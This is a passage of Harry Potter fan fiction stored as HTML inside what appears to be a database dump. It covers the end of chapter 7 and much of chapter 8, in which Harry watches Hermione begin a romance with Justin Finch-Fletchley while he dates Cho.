be able to win, that&#8217;s true. But if I can prevent\nFinley from winning then Jasmine won&#8217;t marry him.&#8221; Torrin replied &#8220;are you\nallowed to use spells?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Yes.&#8221; Kai replied with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin smiled, &#8220;I have a plan.&#8221;</i>&#8212;Harry turned over gripping his\nbedspread tightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Boy these dreams are strange, usually Harry has nightmares,\nbut who says these aren&#8217;t nightmares ;) well stay tuned for chapter 8&#8212;Fifth Year\nReminiscing Part One, Harry&#8217;s Disapproval.&nbsp;\nPlease Read and Review, thanks, Ryoko</p>\n\n\n\n\n\n\n'),
	(41, 8, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp; Disclaimer:&nbsp; Alright\nall the Harry Potter characters belong to J.K. Rowlings, except for the plot,\nZara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and\nOrvin.&nbsp; Those are mine. So please don&#8217;t\nsue me because I don&#8217;t have anything&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 8&#8212;Fifth Year Reminiscing, Harry&#8217;s Disapproval</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwas reading his book alone in the common room, he looked at his watch wondering\nwhere Hermione was, she said her research wasn&#8217;t going to take that much\nlonger, so he agreed to go and wait back up in the tower for her. The portrait\nhole opened and he heard Ron and Zara talking he looked up from the sofa as he\nsaw them coming inside. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nand Ron were walking through the common room, &#8220;So you think your friend is\ngoing to miss his chance?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nnodded, &#8220;yes there&#8217;s already two others interested in Jewel, if he doesn&#8217;t do\nsomething about it soon.&nbsp; He&#8217;s really\ngoing to miss out, I mean I know he loves her it&#8217;s so obvious.&nbsp; He&#8217;s just too chicken to do anything about\nit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe\nhe just doesn&#8217;t realize it, It&#8217;s possible he thinks she always going to be\nthere for him.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlooked at Harry on the sofa who seemed to be eavesdropping, &#8220;right Harry? I\nmean you know all about that, don&#8217;t you?&#8221; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nrolled his eyes, &#8220;leave me out of this.&#8221;&nbsp;\nHe shook his head and returned to his reading.&nbsp; Although he couldn&#8217;t concentrate the thought\nabout how he was finally able to get out of Hermione how she felt about when he\nwas with Cho and seeing Ginny occasionally.&nbsp;\nShe told him exactly how conversations went and how she had felt knowing\nand keeping it all a secret.&nbsp; He had felt\nbad even though he didn&#8217;t realize it himself how he felt about her, it still\nmade him a little sad.&nbsp; He leaned his\nhead back against the cushion looking up at the ceiling, his fifth year seemed\nto rush back in his mind, he could just picture how Hermione&#8212;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Leaned her head on Ginny&#8217;s shoulder, &#8220;I knew\nthey were serious, but not that serious.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nput a tender arm around her friend, &#8220;I know it&#8217;s a shock Hermione, I&#8217;m pretty\nshocked myself. Do you think she just said it like that because she knew you\nwere in the library?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshook her head &#8220;no, she didn&#8217;t know I was there.&nbsp; Cho told the whole gossiping circle you\nknow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nodding,\nGinny looked down at Hermione&#8217;s head on her shoulder &#8220;do you ever think you should\ngive up, I mean you know that he will never see you like that.&#8221;&nbsp; Ginny&#8217;s heart broke for her friend in hearing\nHermione sigh with the realization.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Perhaps\nyou&#8217;re right Ginny,&#8221; Hermione lifted her head off of her friends shoulder, and\nwiped her silent tears away.&nbsp; &#8220;All I&#8217;ve\nbeen doing is wasting my time.&#8221;&nbsp; Hermione\nturned her wrist over and looked at her watch, &#8220;speaking of time, it&#8217;s nearly\ndinner.&nbsp; We should head down.&#8221;&nbsp; Hermione stood.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nlooked up at Hermione with a grave expression, &#8220;are you going to tell him you\nknow?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshook her head, &#8220;no. I&#8217;m gonna act as if nothing is different. Just like\nusual.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Standing,\nGinny started for the door. &#8220;Well let&#8217;s get going.&#8221; Ginny and Hermione went\ndown the stairs and out of the tower, they headed towards the great hall.&nbsp; They both saw Ron and Harry in conversation\nat the table, Ron heard her approach and turned with a smile.&nbsp; He&nbsp;\nmoved over so that she could have her usual seat between the two of\nthem, which she took.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked at both of them &#8220;you know I was in the library today and I had found the\nmost interesting book on foreign wizarding cultures.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nrolled his eyes, &#8220;Hermione please we are trying to eat here. School is over for\nthe day. Can&#8217;t you put the mind to rest just for one minute?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A\nsharp mind is very important Ron.&#8221; She said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\none of these days your going to puncture someone with that sharp mind of\nyours.&#8221; Ron teased.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\neyes narrowed &#8220;well then I wouldn&#8217;t sit so close to me if I were you, I would\npuncture you full of holes.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshook his head in silent laughter, through the corner of his eye he saw Justin\nFinch-Fletchley walking from the\nHufflepuff table over to the Gryffindors table.&nbsp;\nHarry looked up at him with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hi,&#8221;\nJustin said then looked past Harry at Hermione&#8217;s profile. Harry noticed that\nJustin seemed to flush whenever he looked at her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\ntook in a deep breath, was going to take the chance this time, he was not going\nto back down.&nbsp; He had come this far just\na little more.&nbsp; Justin slipped around\nbehind Hermione and tapped her gently on the shoulder.&nbsp; He saw her turn around and face him with a\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nJustin,&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nfelt weak in the knees, he felt the redness rising to his cheeks.&nbsp; He couldn&#8217;t think of anything to say, his\nmind was a blank.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">This\nstruck both Ron and Harry odd they both turned around to face him, he looked\nbetween the both of them and then back at Hermione.&nbsp; He had to say something he was looking like\nidiot in front of her and her friends.&nbsp;\n&#8220;Hermione, w&#8212;would you like to take a&#8212;a walk with me?&#8221; He asked\nquietly.&nbsp; Ron and Harry stared at Justin\nhe could feel their eyes on him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsmiled, &#8220;did you want to talk about something you need tutoring on?&#8221; She asked\npleasantly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not\nreally, but if you want to we can.&#8221; He answered shyly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure\nJustin, I&#8217;ll take a walk with you.&#8221; Hermione smiled.&nbsp; She felt a tapping on her shoulder, she\nturned in the direction and found Harry looking at her with caution.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou really think you should, it&#8217;s starting to get dark out?&#8221; He pointed towards\nthe ceiling.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI&#8217;m not afraid of the dark, and besides Justin will be with me so I&#8217;m perfectly\nsafe.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;have fun then.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nwatched as Hermione stood, wow he thought she had grown.&nbsp; She was almost as tall as he was.&nbsp; He was sure five ten wasn&#8217;t that tall and\nHermione was barely half an inch shorter than him.&nbsp; But it didn&#8217;t matter she was so beautiful, he\nfelt small in comparison to her anyway.&nbsp; All\nthose times he had asked her to help him study were just excuses, all those\nlate nights working in the library was just a ruse to be next to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nleft the great hall with Justin, Harry and Ron watched the doors close after\nthey watched their friend go through them.&nbsp;\n&#8220;Do you think she&#8217;s safe with him?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nsmirked, &#8220;yeah I think so.&nbsp; Harry this is\nJustin were talking about, he&#8217;s not going to behave inappropriately towards\nher.&nbsp; Besides he knows if he did one of\nuse would kill him.&#8221; Ron picked up his fork and pointed behind Harry &#8220;someone\nis coming to see you Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nturned around and Cho came up to him and sat down next to him, &#8220;are you busy on\nSaturday?&#8221; She asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nope.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthat&#8217;s good, I think we should go to Hogsmeade\nand spend the day there. What do you think?&#8221; She placed her hand on his\nshoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\nsounds like a good idea.&#8221; He smiled into her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nglad you approve.&#8221; Cho replied, she leaned in closer.&nbsp; &#8220;Are you going to come and see me later?&#8221; she\nwhispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nyou want me to&#8221; he stared into her dark eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay\nthen, I&#8217;ll meet you in the empty class room next to the Charms room at around\neleven or so.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded and smiled at her.&nbsp; Cho stood,\nleaned over and gave him a quick peck on the cheek and walked off back towards\nher table.&nbsp; Harry stared after her, he\nheard Ron coughing breaking the silence.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\ngonna go pay Cho a little visit later are you?&#8221; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nso what.&#8221; Harry grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;d\nbe careful if I were you, you could loose your heart to a gal like that.&#8221; Ron\nstared at Cho also, &#8220;I wonder what she sees in you?&#8221; Ron was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nwondering that myself.&#8221; Harry said truthfully, &#8220;I don&#8217;t know if I&#8217;ll be able to\nkeep her though.&nbsp;&nbsp; You know she is a year\nolder than us and well I&#8217;ve heard around that it takes quite a lot to keep her\nhappy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She\nseems to be pretty happy with you now.&#8221;&nbsp;\nRon smiled still looking at Cho, &#8220;of course I could steal her away from\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlaughed, &#8220;right Ron okay, but first you would have to get her attention, for\nshe really has no clue of who you are.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A\nminor set back I assure you.&#8221; Ron grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay,\nthat&#8217;s enough. That&#8217;s my girlfriend you&#8217;re talking about.&#8221; Harry&#8217;s eyes\nnarrowed in slight amusement and annoyance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah\nyou know I&#8217;m just playing with you, it&#8217;s fun to wind you up you know.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nlightly punched Ron in the arm, &#8220;are you finished yet, there&#8217;s a few things\nthat we need to work on before I go and make my visit, and I want them to be done\nbefore hand.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nI&#8217;m finished, let&#8217;s go.&#8221; Ron stood and he and Harry walked from the great hall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstepped out of the vacant class room closing the door quietly behind him,\nstarted walking cautiously back towards Gryffindor tower.&nbsp; He heard voices talking quietly at the top of\nthe stairs; he had a bad habit of eavesdropping on private conversations.&nbsp; He looked down at his watch it was ten after\none, he wondered who else was up this late?&nbsp;\nHe stood at the bottom of the stairs seeing the back of someone&#8217;s head,\nHe recognized that it was Justin&#8217;s head and he must still be talking to\nHermione. That was certainly a long walk they had.&nbsp; Since Harry was able to see past Justin a\nlittle bit he found Hermione carrying her school robe, it was draped over her\narm.&nbsp; She was looking at Justin with a\nlook of admiration.&nbsp; There was an odd\nfeeling in the pit of his stomach; he vowed never to have Hogwarts lasagna\nagain.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nJustin, I&#8217;ll meet you Saturday morning after breakfast.&#8221;&nbsp; She glanced about his face, <i style="mso-bidi-font-style:normal">boy he really is a cutie</i>. She thought to\nherself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nso glad we got to talking Hermione, and not just about school work too.&#8221; He\nsmiled into her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nit was rather fun, wasn&#8217;t it?&#8221; She tilted her head upwards a little, she\nnoticed he wasn&#8217;t that much bigger than her. So she really didn&#8217;t have to\nstrain to look him in the eye, unlike Viktor who was huge.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nknow that patch of flowers you were admiring earlier this evening, well when\nyou weren&#8217;t looking I picked one for you.&#8221; He pulled his hand from behind him\nholding out the flower to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nflushed, her face lit up.&nbsp; No one had\never given her flowers, let alone one flower to her before.&nbsp; She took the flower from him and smiled into\nhis eyes, &#8220;that is just so sweet of you Justin.&#8221; She leaned over and gave him a\nquick, light kiss on the cheek.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nimmediately blushed, &#8220;you didn&#8217;t have to&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nwas interrupted by Hermione giving him another quick kiss directly on the lips,\n&#8220;thank you again Justin.&#8221; She smiled, &#8220;you better go before you get caught, I\ncan always say I was on my way to the bathroom or something like that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright,\nI&#8217;ll see you Saturday.&#8221; He turned and started down the stairs, Justin heard the\nportrait swing open and then close. Justin was so happy, he felt he could float\non air, not only had Hermione shared the entire evening with him, she kissed\nhim too.&nbsp; What an evening.&nbsp; He didn&#8217;t look where he was going and almost\ncollided with Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nJustin, be careful huh?&#8221; Harry suggested, then his eyes narrowed with\nsuspicion, &#8220;what are you doing up this way so late?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\ndidn&#8217;t like confrontations so he just started rambling on and on &#8220;I was just\nwalking Hermione back to the tower, we had not paid any attention to time it\njust went by too quickly and before I knew it was nearing one.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan&#8217;t be honest and say that I&#8217;m not just a tad concerned with you keeping\nHermione out into the wee hours of the night.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We\ndidn&#8217;t do anything wrong.&#8221; Justin felt odd, why was he explaining himself to\nHarry.&nbsp; He owed him no explanation.&nbsp; &#8220;Actually now that I think about it, why am I\nexplaining anything to you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know Justin, do you feel guilty about something?&nbsp; Do you feel you need to explain your\nactions?&#8221;&nbsp; <i style="mso-bidi-font-style:\nnormal">What is this guy really after with Hermione?</i>&nbsp; He thought to himself.&nbsp; He never thought of Justin as shy but really\nsneaky, he wondered why he was in the Hufflepuff house instead of Slytherin,\nthere was just something about him that wasn&#8217;t quite right.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nI don&#8217;t feel guilty.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Then\ndon&#8217;t explain.&#8221;&nbsp; Harry said with a smile\nand passed Justin, he finally entered the common room.&nbsp; He saw Hermione sitting on the sofa looking\nup at the ceiling, her eyes were closed and she had a huge smile plastered\nacross her face.&nbsp; He saw Ron standing\nabove her talking.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nhe&#8217;s really alright then?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked at Ron &#8220;he is so sweet Ron, I feel this is going to be a really good\nthing for me.&nbsp; I mean I have tried and\ntried to get certain peoples attention, you know like my muggle neighbor Carlo.\nAnd a few others but it never pans out.&nbsp;\nI never would have thought in a million years that Justin who is cute\nmind you, would ever like me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou are cute.&#8221; Ron admitted, &#8220;any male would be an idiot not to notice you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou being serious Ron?&#8221; She eyed him with suspicion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\ntime yes.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nthen thank you Ron, I will not read any more into that then necessary.&#8221; She\nstood, &#8220;I better get to sleep, Fridays are my worst days.&#8221;&nbsp; She turned to find Harry smiling at them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What\nwere you two talking about?&#8221; He looked at Ron and then back at Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nnothing really,&#8221; <i style="mso-bidi-font-style:normal">Why did I just lie?</i>\nHermione thought to herself, &#8220;actually we were talking about Justin.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\njust passed him walking down from the tower he certainly looked happy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nhe had just walked me back here,&#8221; she paused a minute &#8220;by the way, where have\nyou been, it&#8217;s nearly two?&#8221; She had an idea but she wanted to see what he would\nsay.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Me,\nwell I couldn&#8217;t sleep so I took a walk&#8221; He lied.&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">Why am\nI lying? </i>&nbsp;He thought to himself, but\nhe didn&#8217;t say anything more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nwell I hope that walk did some good, I&#8217;m going up to bed. Night guys.&#8221; She\nsmiled and waved to them. <i style="mso-bidi-font-style:normal">Liar </i>she\nthought to herself as she reached the fifth year girls dorm and went in.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Harry walked with Cho into the Three Broomsticks and sat down, the waitress\ncame by and took their order, she would return momentarily with their\ndrinks.&nbsp; Ron looked up and noticed\nHermione sitting with Justin, she was so involved in her conversation with\nhim.&nbsp; A large smile reached from ear to\near, he could see she was happy. And he felt happy for her. He wondered what a\nbrainy girl and a shy guy could talk about other than school.&nbsp; But she did seem so different out of school,\nmore relaxed if he didn&#8217;t know any better it was like she had two different\npersonalities.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; Cho was talking about the recent match\nagainst Huffelpuff with Harry, Ron looked over at him and he was shocked to\nfind him staring in the direction of Justin and Hermione&#8217;s table. Ron also noticed\nthat Cho didn&#8217;t have Harry&#8217;s attention and smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry,\nare you listening to me?&#8221; She waved her hand in front of his face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Huh?&#8221;\nHe turned back and looked at her.&nbsp; &#8220;Did\nyou say something?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;What are you staring at?&nbsp; You certainly weren&#8217;t listening to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nI was just thinking, you know the O.W.L.S are coming up for me. I just hope I\ndo well.&#8221; He fibbed with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cho\neyed him suspiciously, then in the direction of where he was staring. She saw\nthe same thing, Hermione talking with Justin who had a hand on his arm. Cho&#8217;s\neyebrows perked.&nbsp; &#8220;Harry your friend,\nwhat&#8217;s her name is here.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione.&#8221;\nHe said immediately.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nthat&#8217;s her name, oh my she&#8217;s here with Justin. That is just so cute. Don&#8217;t you\nthink 